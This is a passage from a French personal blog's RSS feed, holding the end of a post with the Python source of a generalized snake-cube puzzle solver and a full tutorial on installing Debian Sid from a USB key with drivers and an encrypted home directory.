<p><em>Python</em> supporte aussi les expressions <a href="http://docs.python.org/reference/expressions.html#lambda">lambda</a>, issues du <a href="http://fr.wikipedia.org/wiki/Lambda-calcul">lambda-calcul</a>, qui permettent d&#8217;écrire des fonctions anonymes simplement.</p>
<p>J&#8217;utilise cette fonctionnalité une fois dans le programme&nbsp;:</p>
<pre>needed_length = reduce(<strong>lambda x, y: x * y</strong>, self.dimensions) - 1</pre>
<p>Il s&#8217;agit de la déclaration d&#8217;une fonction avec deux arguments, qui retourne leur produit.</p>
<p>La fonction <a href="http://docs.python.org/library/functions.html#reduce"><code>reduce(function, iterable, …)</code></a> permet d&#8217;appliquer cumulativement la fonction aux éléments de l&#8217;<em>iterable</em>, de gauche à droite, de manière à réduire l&#8217;<em>iterable</em> en une seule valeur.<br />
<em>Même si «&nbsp;<a href="http://fr.wikipedia.org/wiki/Nicolas_Boileau">ce qui se conçoit bien s&#8217;énonce clairement</a>&nbsp;», la fonction </em>reduce<em> est bien plus facile à comprendre qu&#8217;à expliquer en quelques mots…</em></p>
<p>Ici, donc, <code>needed_length</code> contient le produit de tous les éléments de la liste <code>self.dimensions</code>.</p>
<h3>Conclusion</h3>
<p>La résolution du cube-serpent est intéressante, tout comme sa généralisation à n&#8217;importe quel volume de dimensions quelconque. Je me suis arrêté là, mais la détection des symétries et des rotations &laquo;&nbsp;au plus tôt&nbsp;&raquo; serait une amélioration non négligeable (et pas si évidente).</p>
<p>Débutant tout juste en <em>Python</em>, ce micro-projet m&#8217;a permis de beaucoup apprendre, et de découvrir quelques bonnes surprises comme les expressions <em>yield</em> que je ne connaissais pas.</p>
<p>J&#8217;espère que ça vous a amusé aussi.</p>
<h3>Script</h3>
<p><ins datetime="2011-10-01T00:00:00+01:00">J&#8217;ai remplacé le script par sa version 0.2, qui prend en compte les symétries et les rotations.<br />
L&#8217;historique des scripts est disponible <a href="http://dl.rom1v.com/snakesolver/">ici</a>.</ins><br />
Voici le code source. Il est également disponible ici&nbsp;: <a href="http://dl.rom1v.com/snakesolver/snakesolver-0.2.1.py">snakesolver-0.2.1.py</a>.</p>
<pre>#!/usr/bin/env python
# -*- coding: UTF-8 -*-
#
# snakesolver v0.2.1, 5th october 2011
#
# changelog:
#   0.2.1
#     - get_useful_points() did not work for non-(hyper-)cubic volumes
#   0.2
#     - give all the solutions ignoring those which are equivalent by symmetry
#       or rotation
#   0.1
#     - initial version
#
# Solver for generalized snake-cube:
# http://en.wikipedia.org/wiki/Snake_cube
# http://fr.wikipedia.org/wiki/Cube_serpent
#
# By Romain Vimont (®om)
#   rom@rom1v.com

# snake structure (list of consecutives vector norms)
# Wikipedia example
SNAKE_STRUCTURE = [2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]

# size of each dimension of the target volume
VOLUME_DIMENSIONS = [3, 3, 3]

# first variable names, the next will be k1, k2, k3...
VARIABLES = ['x', 'y', 'z', 't']

class Vector:

    """Base vector, with only one non-zero value."""

    def __init__(self, position, value):
        """Create a new base vector.

        Examples:
          - 2 dimensions:
              Vector(0, 2) means (2, 0)
              Vector(1, 3) means (0, 3)
          - 3 dimensions:
              Vector(0, 2) means (2, 0, 0)
              Vector(1, 3) means (0, 3, 0)
          - n dimensions:
              Vector(k, i) means (0, 0, ..., 0, i at position k, 0, ..., 0, 0)
        """
        self.position = position
        self.value = value

    @staticmethod
    def __get_variable(position):
        """Returns the variable name associated to position.

        Variable names are : ['x', 'y', 'z', 't', 'k1', 'k2', 'k3', ...].
        """
        if position &lt; len(VARIABLES):
            return VARIABLES[position]
        return 'k' + str(position - len(VARIABLES) + 1)

    @staticmethod
    def __get_canonical(number):
        """Removes the 1 if number is 1 or -1.

        Used for formatting …, -3x, -2x, -x, x, 2x, 3x, …
        """
        if number == 1:
            return ''
        if number == -1:
            return '-'
        return str(number)

    def __repr__(self):
        return Vector.__get_canonical(self.value) +\
               Vector.__get_variable(self.position)

class VolumeHelper:

    """Volume helper for the solver.

    A volume must be considered as an "hyper-volume", it can have any number of
    dimensions. For example, a volume 3x3 is a square, while a volume 3x3x3x3
    is an hypercube.

    Keep a flags volume (1 boolean per "point"), indicating if the case is
    already filled.
    """

    def __init__(self, dimensions):
        """Create a volume helper.

        Keyword arguments:
        dimensions -- the dimensions of the target volume (e.g. [3, 3, 3])
        init_cursor -- the starting position in the volume (e.g. [0, 0, 0])
        """
        self.dimensions = dimensions
        self.path = []
        self.flags = VolumeHelper.__create_volume_flags(dimensions)
        self.init_cursor = None

    def set_cursor(self, cursor):
        """Change the initial cursor position."""
        assert len(self.path) == 0, 'Changing cursor cannot happen in the ' +\
                                    'middle of a path calculation'
        if self.init_cursor is not None:
            # set to False the flag for the old cursor
            self.__set_flag(self.init_cursor, False)
        self.init_cursor = cursor[:]
        self.cursor = self.init_cursor
        self.__set_flag(self.cursor, True)

    def __get_flag(self, cursor):
        """Return the flag for the specified cursor."""
        tmp = self.flags
        # dereference n times
        for i in xrange(len(cursor)):
            tmp = tmp[cursor[i]]
        # after the last iteration, tmp contains the value
        return tmp

    def __set_flag(self, cursor, value):
        """Change the flag for the specified cursor."""
        tmp = self.flags
        for i in xrange(len(cursor) - 1):
            tmp = tmp[cursor[i]]
        tmp[cursor[-1]] = value

    def can_move(self, vector):
        """Indicates if it is possible to move the cursor by the move defined
        by the vector."""

        # the new vector will change the cursor at position vector.position,
        # adding vector.value
        # for example, if the cursor = [1, 2, 0], and vector = Vector(2, 2),
        # then cursor will take the value [1, 2, 2]
        cursor_position_value = self.cursor[vector.position]
        new_value = cursor_position_value + vector.value
        if new_value &lt; 0 or new_value &gt;= self.dimensions[vector.position]:
            # outside volume
            return False

        # copy the cursor for not modifying the real one
        future_cursor = self.cursor[:]
        if vector.value &lt; 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            future_cursor[vector.position] += sign
            # if the flag at future_cursor is already True, then we cannot move
            # to this case, it is already filled
            if self.__get_flag(future_cursor):
                return False
        return True

    def move(self, vector):
        """Move the cursor by the vector, and updates flags and path."""
        self.path.append(vector)
        if vector.value &lt; 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            self.cursor[vector.position] += sign
            self.__set_flag(self.cursor, True)

    def back(self):
        """Cancel the last move.

        Used for the recursivity, for avoiding to create a new flags volume for
        each recursivity step.
        """
        vector = self.path.pop()
        if vector.value &lt; 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            self.__set_flag(self.cursor, False)
            self.cursor[vector.position] += -sign

    @staticmethod
    def __create_volume_flags(dimensions, index=0):
        """Create a multi-dimensional array filled with False values."""
        if index == len(dimensions) - 1:
            return [False] * dimensions[-1]
        return [VolumeHelper.__create_volume_flags(dimensions, index + 1)
                 for i in xrange(dimensions[index])]

    def __repr__(self):
        return repr(cube_flags)

class SymmetryHelper:

    """Symmetry helper for the solver.

    It manages equivalence classes for equivalent points and equivalent pathes
    by symmetry and/or rotation.

    As symmetries and rotations only concern permutation and inversion of
    vector components (positions), then equivalences classes concern
    dimensions.
    If x and z axis are equivalent (at a specific step), we could represent the
    equivalence classes like this: [[0, 2], [1]]. In that case, the solver
    would only try vectors on x axis, but will ignore z axis (because it is
    equivalent).
    Then, after a move, they are not equivalent anymore, then the equivalence
    classes could be represented by [[0], [1], [2]].

    But there is a far better representation for handling quickly the
    equivalence classes: a simple array, with the same length as dimensions.
    For each dimension i, the eq_classes array contains the lower index of an
    equivalent axis:
      - i if there is no axis with lower index which is equivalent;
      - j if there is an axis j with a lower index (the lowest) which is
        equivalent.
    For example, if x and z are equivalent, then eq_classes is [0, 1, 0].
    If y and z are equivalent, then eq_classes is [0, 1, 1].
    If x and y are equivalent, then eq_classes is [0, 0, 2].
    If x, y and z are equivalent, then eq_classes is [0, 0, 0].
    If none are equivalent, then eq_classes is [0, 1, 2].

    With this representation, we can easily pick only 1 vector per equivalence
    class (and ignore the others): the ones with eq_classes[i] == i.

    eq_classes_path stores the list of eq_classes used, to restore previous
    ones when calling back(). Equivalence classes at index i are always
    computed from the equivalence classes at index i-1 (except if i == 0),
    and are always "as or more splitted".
    """

    def __init__(self, dimensions):
        self.dimensions = dimensions
        # eq_classes is always eq_classes_path[-1]
        self.eq_classes = self.__create_eq_classes_from_dimensions()
        self.eq_classes_path = [self.eq_classes]

    def __create_eq_classes_from_dimensions(self):
        """Compute the first equivalences classes from the dimensions.

        The dimensions which have the same length are equivalent.
        """
        eq_classes = range(len(self.dimensions))
        for i in xrange(1, len(self.dimensions)):
            value = self.dimensions[i]
            for j in xrange(0, i):
                if self.dimensions[j] == value:
                    eq_classes[i] = j
                    break
        return eq_classes

    def set_cursor(self, cursor):
        """Change the initial cursor position."""
        # the first item in eq_classes_path is computed from the dimensions
        # the second item is computed from the init_point
        # the next items are computed from the next moves (vectors)
        assert len(self.eq_classes_path) == 1 or\
               len(self.eq_classes_path) == 2, 'Changing cursor cannot ' +\
               'happen in the middle of a path calculation'
        if len(self.eq_classes_path) == 2:
            # this is not the first initialisation, we have to remove the
            # eq_classes associated with the previous cursor
            self.eq_classes_path.pop()
        self.cursor = cursor

        # make a copy to not modify the previous one (must be immutable)
        cursor_eq_classes = self.eq_classes_path[0][:]
        for i in xrange(len(cursor_eq_classes)):
            # if the equivalence class must be splitted
            # i.e. the value for the axis has changed
            if cursor_eq_classes[i] != i and not self.__eq_cmp(
                    cursor[cursor_eq_classes[i]],\
                    cursor[i], self.dimensions[i]):
                old_class = cursor_eq_classes[i]
                cursor_eq_classes[i] = i
                # If eq_classes = [0, 0, 0], and we detected that the first
                # dimension is not equivalent anymore with the two others,
                # then the new eq_classes will be [0, 1, 1]:
                # we have to check the next dimensions to change their value
                for j in xrange(i + 1, len(cursor_eq_classes)):
                    if cursor_eq_classes[j] == old_class:
                        cursor_eq_classes[j] = i

        self.eq_classes = cursor_eq_classes
        self.eq_classes_path.append(cursor_eq_classes)
        # At this point, eq_classes_path contains two items:
        #   - the eq_class at index 0 computed only from the dimensions;
        #   - the eq_class at index 1 computed from the initial point
        #     (which splits the equivalence classes computed from the
        #     dimensions).

    def get_useful_points(self):
        """Returns one point from each equivalence class, not more.

        For example, if dimensions is [3, 3, 3], then useful points are
        [[0, 0, 0], [0, 0, 1], [0, 1, 1], [1, 1, 1]]
        which are, respectively:
        [a corner, an edge, a center, the core (middle of the cube)]
        All other points are equivalent to one point in this minimal set.
        """
        assert len(self.eq_classes_path) == 1, \
               'When computing useful points, there is only 1 eq_classes, ' +\
               'computed from the dimensions'
        # start with point 0
        for point in self.get_useful_points_rec(0, [0] * len(self.dimensions)):
            yield point

    def get_useful_points_rec(self, index, minimums):
        if index == len(self.dimensions):
            yield []
        else:
            eq_class = self.eq_classes[index]
            # We want to remove symmetry-or-rotation-equivalent-points.
            # The easiest way to achive this goal is to:
            #   - consider only one half of dimension length (+1);
            #   - always use sorted coordinates inside equivalence classes.
            #
            # For a dimension of length 3, we consider only the values 0 and 1.
            # For a dimension of length 4, we consider 0 and 1 too.
            # For a dimension of length 5, we consider 0, 1 and 2.
            #
            # Only use sorted coordinates avoid to check [0, 1] and [1, 0],
            # because they are equivalent. When building a vector, we keep a
            # "minimum" value (rather a "minimums" array, one minimum for each
            # equivalence class) to guarantee this condition.
            minimum = minimums[eq_class]
            # h is "head", t is "tail"
            for h in xrange(minimum, (self.dimensions[index] + 1) / 2):
                # change the minimum for deeper recursive calls
                minimums[eq_class] = h
                for t in self.get_useful_points_rec(index + 1, minimums):
                    yield [h] + t
            # restore the previous value
            minimums[eq_class] = minimum 

    def move(self, vector):
        """Compute the new equivalent classes after a move by the vector."""
        assert self.eq_classes[vector.position] == vector.position,\
               'A move must always concern the first vector of an ' +\
               'equivalence class'

        # create a copy of eq_classes only if it changes, else use the same
        # instance
        has_changes = False
        position = vector.position
        new_eq_classes = self.eq_classes
        new_eq_class = None
        # the axis is now alone in its equivalence class (the vector has moved
        # the cursor on this axis, but not on the others), we have to update
        # the others (if any)
        for i in xrange(position + 1, len(self.eq_classes)):
            if self.eq_classes[i] == position:
                if not has_changes:
                    has_changes = True
                    new_eq_classes = self.eq_classes[:]
                if new_eq_class is None:
                    new_eq_class = i
                new_eq_classes[i] = new_eq_class
        self.eq_classes = new_eq_classes
        self.eq_classes_path.append(new_eq_classes)

    def back(self):
        """Cancel the last move."""
        self.eq_classes_path.pop()
        self.eq_classes = self.eq_classes_path[-1]

    def must_explore(self, i):
        """Returns True if the vector position is the first in its equivalence
        class (the others will be ignored, because equivalents)"""
        return self.eq_classes[i] == i

    @staticmethod
    def __eq_cmp(p1, p2, dim):
        """Comparator which tests if two point are "equivalent" on an axis.

        Keyword arguments:
        p1 -- projection of the point 1 on the axis
        p2 -- projection of the point 2 on the axis
        dim -- length of dimension associated to the axis

        p1 and p2 are equivalent if and only if:
          -    v1 == v2 (they are at the same place)
          - or v1 + v2 + 1 = dim (they are symmetrically opposite)
        """
        return p1 == p2 or p1 + p2 + 1 == dim

class SnakeCubeSolver:

    """Solver."""

    def __init__(self, dimensions, structure):
        """Create a new solver.

        Keyword arguments:
        dimensions -- the dimensions of the target volume
                      (for example [3, 3, 3])
        structure -- the snake structure
        """
        self.dimensions = dimensions
        self.structure = structure
        self.volume_helper = VolumeHelper(dimensions)
        self.symmetry_helper = SymmetryHelper(dimensions)

    def solve(self):
        """Solve the snake.

        This function returns an iterator: the full list of solutions is not
        created."""

        # the structure length must exactly fill the target volume
        structure_length = sum(self.structure)
        needed_length = reduce(lambda x, y: x * y, self.dimensions) - 1
        if structure_length != needed_length:
            print 'Structure has not the right length (' +\
                  str(structure_length) + ' instead of ' +\
                  str(needed_length) + ')'
        else:
            for init_point in self.symmetry_helper.get_useful_points():
                # for each useful initial point (in a minimal set where no
                # points are equivalent to another)
                self.volume_helper.set_cursor(init_point)
                self.symmetry_helper.set_cursor(init_point)
                # recursively solve and yield the solutions
                for solution in self.__solve_rec(init_point[:], 0):
                    yield solution

    def __solve_rec(self, init_cursor, step):
        """Recursively solve.

        Keyword arguments:
        init_cursor -- starting point, only used to put it in found solutions
        step -- recursivity depth, index of current vector in snake structure
        """
        if step == len(self.structure):
            # a new solution is found, copy the path and yield the solution
            yield init_cursor, self.volume_helper.path[:]
        else:
            if len(self.volume_helper.path) == 0:
                # empty path, use an inexistant position (-1),
                # i != previous_position will always be True
                previous_position = -1
            else:
                previous_position = self.volume_helper.path[-1].position
            # get the vector norm for the current step
            norm = self.structure[step]
            # iterate over the next possible vectors, i.e. all vectors which
            # are orthogonal to the previous one

            for possible_vector in ( Vector(i, v)
                                     for v in [norm, -norm]
                                     for i in xrange(len(self.dimensions))
                                     if i != previous_position and
                                        self.symmetry_helper.must_explore(i)):
                if self.volume_helper.can_move(possible_vector):
                    # if it is possible to move the cursor by the vector, then
                    # move it
                    self.volume_helper.move(possible_vector)
                    # and recursively solve
                    self.symmetry_helper.move(possible_vector)
                    for solution in self.__solve_rec(init_cursor, step + 1):
                        yield solution
                    # cancel the move to put back the state of the helper
                    self.volume_helper.back()
                    self.symmetry_helper.back()

def main():
    solver = SnakeCubeSolver(VOLUME_DIMENSIONS, SNAKE_STRUCTURE)
    # print all solutions
    for solution in solver.solve():
        print solution

    # print the first solutions
#    max_solutions = 5
#    solutions = solver.solve()
#    for i in xrange(max_solutions):
#        try:
#            print solutions.next()
#        except StopIteration:
#            break
    exit(0)

if __name__ == "__main__":
    main()</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Installer Debian Sid</title>
		<link>http://blog.rom1v.com/2011/08/installer-debian-sid/</link>
		<comments>http://blog.rom1v.com/2011/08/installer-debian-sid/#comments</comments>
		<pubDate>Sun, 28 Aug 2011 18:04:31 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[chiffrement]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[nvidia]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2862</guid>
		<description><![CDATA[Je viens de migrer mon PC principal vers Debian Sid (unstable), qui remplace Ubuntu, après 5 ans de bons et loyaux services. Il y a de nombreuses manières d&#8217;installer Debian, plusieurs versions, plein d&#8217;architectures… L&#8217;objectif de cet article est de décrire l&#8217;installation telle que je l&#8217;ai réalisée. Dans l&#8217;ordre&#160;: le téléchargement&#160;; la copie sur une [...]]]></description>
			<content:encoded><![CDATA[<p>Je viens de migrer mon PC principal vers <strong>Debian Sid</strong> (<em>unstable</em>), qui remplace <strong>Ubuntu</strong>, après 5 ans de bons et loyaux services.</p>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/08/debian.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/08/debian.png" alt="" title="debian" width="190" height="250" class="aligncenter size-full wp-image-2864" /></a></p>
<p>Il y a de nombreuses manières d&#8217;installer <em>Debian</em>, plusieurs versions, plein d&#8217;architectures…<br />
L&#8217;objectif de cet article est de décrire l&#8217;installation <em>telle que je l&#8217;ai réalisée</em>.</p>
<p>Dans l&#8217;ordre&nbsp;:</p>
<ul>
<li>le téléchargement&nbsp;;</li>
<li>la copie sur une clé USB&nbsp;;</li>
<li>l&#8217;installation directe de <em>Sid</em> à partir de la clé USB&nbsp;;</li>
<li>la conservation du <a href="http://blog.rom1v.com/2010/05/chiffrer-son-dossier-personnel-home-sous-ubuntu/"><em>home</em> chiffré mis en place par <em>Ubuntu</em></a>&nbsp;;</li>
<li>l&#8217;installation des pilotes <em>NVIDIA</em> et WiFi…</li>
</ul>
<p><em>Bien sûr, avant tout, faites des sauvegardes de toutes vos données importantes. Cet avertissement est sûrement inutile, j&#8217;imagine que vous faites, comme tout le monde, plusieurs backups par semaine… <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </em></p>
<h3>Téléchargement</h3>
<p>Sur la <a href="http://www.debian.org/">page d&#8217;accueil de Debian</a>, dans <em>&laquo;&nbsp;Obtenir Debian&nbsp;&raquo;</em>, c&#8217;est la version <em>stable</em>.<br />
Ce qui nous intéresse, c&#8217;est la version <em>testing</em>, à partir de laquelle on peut passer en <em>unstable</em> dès l&#8217;installation. Celle-ci est disponible dans <em>&laquo;&nbsp;Le coin du développeur&nbsp;&raquo;</em>, <a href="http://www.debian.org/devel/debian-installer/">Installateur de Debian</a>.</p>
<p>Ici, il faut regarder la partie <em>&laquo;&nbsp;images de CD d&#8217;installation par le réseau (en général 135 à 175 Mo) et au format carte de visite (en général 20 à 50 Mo)&nbsp;&raquo;</em>, et cliquer sur l&#8217;architecture souhaitée. Typiquement, il faut prendre <a href="http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/amd64/iso-cd/">amd64</a> pour du 64 bits et <a href="http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/i386/iso-cd/">i386</a> pour du 32 bits.</p>
<p>Choisir l&#8217;image <em>businesscard</em> (la plus petite). Pour moi&nbsp;: <a href="http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/amd64/iso-cd/debian-testing-amd64-businesscard.iso">debian-testing-amd64-businesscard.iso</a>.</p>
<h3>Clé USB</h3>
<h4>Connaître l&#8217;emplacement</h4>
<p>Nous avons besoin de connaître l&#8217;emplacement de la clé, sous la forme <code>/dev/sd<em>X</em></code>.<br />
Une méthode parmi d&#8217;autres est de consulter <code>/var/log/syslog</code> lors du branchement&nbsp;: insérer la clé USB et exécuter&nbsp;:</p>
<pre>tail /var/log/syslog</pre>
<p>Vous devriez obtenir plusieurs lignes qui ressemblent à ceci&nbsp;:</p>
<pre>Aug 28 00:54:27 rom-laptop kernel: [ 1868.930100] sd 4:0:0:0: [sdb] 2015232 512-byte logical blocks: (1.03 GB/984 MiB)</pre>
<p>Sur cet exemple, nous voyons <em>[sdb]</em>, nous en concluons que l&#8217;emplacement de la clé est <code>/dev/sdb</code>.</p>
<p>Alternativement, si la clé est montée, il est possible d&#8217;obtenir cet emplacement dans le résultat de&nbsp;:</p>
<pre>df -h</pre>
<p><em><strong>Ne vous trompez surtout pas d&#8217;emplacement, vous risqueriez d&#8217;écraser toutes les données de votre disque dur&nbsp;!</strong></em></p>
<h4>Préparer</h4>
<p>Si vous avez une clé réservée pour vos installations de systèmes d&#8217;exploitation (sans données à conserver), je vous conseille la méthode la plus simple, qui écrase tout ce qu&#8217;il y a sur la clé (<a href="http://www.debian.org/releases/stable/amd64/ch04s03.html.fr#usb-copy-isohybrid">4.3.1</a>)&nbsp;:</p>
<pre>$ sudo -s
# cat debian-testing-amd64-businesscard.iso > /dev/sdb
# sync</pre>
<p>Ensuite, il faut redémarrer, et configurer le BIOS pour qu&#8217;il boote sur clé USB (souvent, les clés USB sont reconnues comme un disque dur, il faut donc régler la priorité entre les disques durs).</p>
<h3>Installation</h3>
<p>Pour l&#8217;installation, l&#8217;ordinateur doit être connecté à Internet par un câble Ethernet.</p>
<p>L&#8217;ordinateur boote sur la clé USB, et affiche un menu d&#8217;installation de <em>Debian</em>. Sélectionner <em>&laquo;&nbsp;Advanced Options&nbsp;&raquo;</em>.<br />
Ici, il est possible changer l&#8217;environnement de bureau (<em>Gnome</em>, <em>KDE</em>, <em>XFCE</em>…). Par défaut, c&#8217;est <em>Gnome</em>.<br />
Ensuite, sélectionner <em>&laquo;&nbsp;Expert Install&nbsp;&raquo;</em> pour lancer l&#8217;installation (afin de pouvoir choisir <em>sid/unstable</em> au lieu de <em>testing</em> dès l&#8217;installation).</p>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/08/debian-installer.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/08/debian-installer-300x225.png" alt="" title="debian-installer" width="300" height="225" class="aligncenter size-medium wp-image-2898" /></a></p>
<p>Lors de l&#8217;étape de partitionnement, dans l&#8217;hypothèse où le disque dur utilise une partition séparée pour le <code>home</code>, ne pas oublier de configurer les points de montage (<code>/</code> et <code>/home</code>), et ne pas formater <code>/home</code> (pour conserver les données personnelles).</p>
<p>Utiliser le même nom d&#8217;utilisateur et mot de passe que celui d&#8217;<em>Ubuntu</em> (c&#8217;est important pour accéder au répertoire <em>home</em> chiffré).</p>
<p>Je ne détaille pas les autres étapes d&#8217;installation, il suffit de lire.</p>
<h3>Déchiffrer le home</h3>
<p>Une fois l&#8217;installation terminée et le système démarré, il n&#8217;est pas possible de se connecter graphiquement avec le compte utilisateur, car le <em>home</em> est chiffré et par défaut, <em>eCryptFS</em> n&#8217;est pas installé. Il faut donc l&#8217;installer.</p>
<p>Pour cela, ouvrir un TTY (<em>Ctrl+Alt+F1</em>), se connecter en <code>root</code> (ou avec le compte utilisateur si vous avez interdit la connexion de <code>root</code>, dans ce cas utiliser <code>sudo</code>), puis installer <code>ecryptfs-utils</code>&nbsp;:</p>
<pre>apt-get install ecryptfs-utils</pre>
<p>Si lors de l&#8217;installation vous n&#8217;avez pas choisi le même mot de passe que sur <em>Ubuntu</em>, profitez-en pour le rétablir&nbsp;:</p>
<pre>passwd monlogin</pre>
<p>Maintenant, il est possible de se connecter graphiquement, en retournant dans le TTY graphique (<em>Ctrl+Alt+F7</em>).</p>
<h3>Gestionnaire de composite</h3>
<p>Pour moi, il est indispensable d&#8217;utiliser un <a href="http://doc.ubuntu-fr.org/tutoriel/composite">gestionnaire de composite</a>. Pour au moins 3 raisons&nbsp;:</p>
<ul>
<li>éviter les trainées lors du déplacement de fenêtres&nbsp;;</li>
<li>activer les ombres sous les fenêtres (très important pour le confort visuel)&nbsp;;</li>
<li>les performances…</li>
</ul>
<p>Par défaut, <em>Metacity</em> (le gestionnaire de fenêtres de <em>Gnome</em>) n&#8217;en utilise pas. C&#8217;est la raison pour laquelle <em>Compiz</em> se révèle souvent indispensable.<br />
Cependant, je viens de découvrir que <em>Metacity</em> savait gérer le <em>compositing</em>, grâce à une option bien cachée. Pour l&#8217;activer&nbsp;:</p>
<pre>gconftool-2 -s -t boolean /apps/metacity/general/compositing_manager true</pre>
<p>Il est également possible d&#8217;utiliser <code>gconf-editor</code>&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/08/gconf-editor-compositing-manager.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/08/gconf-editor-compositing-manager-300x206.png" alt="" title="gconf-editor-compositing-manager" width="300" height="206" class="aligncenter size-medium wp-image-2878" /></a></p>
<p>Il n&#8217;est pas configurable, et ne permet pas de faire tout ce que fait <em>Compiz</em>, mais pour moi c&#8217;est suffisant.</p>
<h3>Pilotes NVIDIA</h3>
<p>J&#8217;ai la malchance d&#8217;avoir une carte graphique <em>NVIDIA</em>, qui nécessite dans certains cas d&#8217;avoir recours à des pilotes privateurs. Sans eux, impossible de faire fonctionner <em>Compiz</em> ni certains jeux.</p>
<p>Cependant, le pilote libre <em>Nouveau</em> (installé par défaut) est assez impressionnant par rapport à l&#8217;ancien (<em>nv</em>). Et même s&#8217;il ne permet pas de démarrer <em>Compiz</em>, il supporte le <em>compositing</em> de <em>Metacity</em> avec de bonnes performances.</p>
<p><ins datetime="2011-10-28T00:00:00+01:00">En installant le paquet <code>libgl1-mesa-dri-experimental</code>, le pilote Nouveau<em> sait faire fonctionner </em>Compiz<em> et surtout </em>Gnome-Shell<em>. Il faut simplement prendre soin d&#8217;avoir supprimé toute trace éventuelle du pilote propriétaire&nbsp;:</em></ins></p>
<pre>apt-get remove nvidia-*</pre>
<p>Pour néanmoins installer les pilotes privateurs (les dépôts <code>non-free</code> doivent être activés)&nbsp;:</p>
<pre>apt-get install nvidia-kernel-dkms nvidia-xconfig nvidia-settings &#038;&#038; nvidia-xconfig</pre>
<p><em>(Remplacez <code>nvidia-kernel-dkms</code> par <code>nvidia-kernel-legacy-<em>VERSION</em>-dkms</code> pour une carte graphique nécessitant <a href="http://wiki.debian.org/NvidiaGraphicsDrivers#Choose_a_driver_version">des pilotes plus anciens</a>.)</em></p>
<p>Puis rebooter.</p>
<h3>Pilotes WiFi</h3>
<p>J&#8217;ai également dû installer des pilotes pour ma carte WiFi&nbsp;:</p>
<pre>$ lspci | grep Network
03:00.0 Network controller: Intel Corporation WiFi Link 5100</pre>
<p>Il suffit d&#8217;installer le paquet non-libre <code>firmware-iwlwifi</code>&nbsp;:</p>
<pre>apt-get install firmware-iwlwifi</pre>
<p><em>Il y a plusieurs paquets en <code>firmware-<em>quelquechose</em></code>, selon votre matériel.</em></p>
<h3>Agencement du clavier</h3>
<p>Avec la version actuelle, <em>Debian Sid</em> installe par défaut l&#8217;agencement du clavier <em>&laquo;&nbsp;France (Obsolète) Autre&nbsp;&raquo;</em> au lieu de <em>&laquo;&nbsp;France Autre&nbsp;&raquo;</em>. Je vous conseille de le changer dans <em>Système → Préférences → Clavier → Agencements</em>, sinon vous risquez d&#8217;avoir des surprises (notamment si vous utilisez des <a href="http://fr.wikipedia.org/wiki/Tube_%28shell%29">pipes</a> dans un terminal)…<br />
<em><strong>EDIT&nbsp;:</strong> Cela ne suffit pas, pour que le réglage soit conservé, il faut en fait le changer dans GDM (l&#8217;écran de connexion), une liste déroulante en bas permet de changer la disposition du clavier.</em></p>
<h3>Conclusion</h3>
<p>Avant la migration, j&#8217;avais un peu peur pour la conservation du <em>home</em> chiffré… Mais finalement, aucun souci.</p>
<p>Par rapport à <em>Ubuntu</em>, j&#8217;apprécie beaucoup d&#8217;avoir des versions plus à jour des logiciels sans passer par des PPA. Et aussi d&#8217;avoir plus de logiciels dans les dépôts par défaut (<code>pino</code> par exemple). L&#8217;installation est cependant un peu moins simple qu&#8217;<em>Ubuntu</em> (il faut avouer qu&#8217;il est difficile de faire plus simple).</p>
<p>Pour finir, voici une capture d&#8217;écran juste après l&#8217;installation (avec, comme le veut la tradition, un terminal ouvert)&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/08/debian-screenshot.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2011/08/debian-screenshot-300x187.jpg" alt="" title="debian-screenshot" width="300" height="187" class="aligncenter size-medium wp-image-2906" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/08/installer-debian-sid/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Authentification automatique à un réseau WiFi avec NetworkManager</title>
		<link>http://blog.rom1v.com/2011/07/authentification-automatique-a-un-reseau-wifi-avec-networkmanager/</link>
		<comments>http://blog.rom1v.com/2011/07/authentification-automatique-a-un-reseau-wifi-avec-networkmanager/#comments</comments>
		<pubDate>Sun, 31 Jul 2011 11:43:34 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[réseau]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2766</guid>
		<description><![CDATA[Certains réseaux WiFi sont ouverts (sans clé de sécurité) mais nécessitent une authentification. C&#8217;est souvent le cas des points d&#8217;accès dans les gares, les hôtels, les campings… Cela concerne également les réseaux ouverts tels que FreeWifi. Une fois connecté à un tel réseau, lorsqu&#8217;avec votre navigateur vous tentez d&#8217;accéder à n&#8217;importe quel site, vous êtes [...]]]></description>
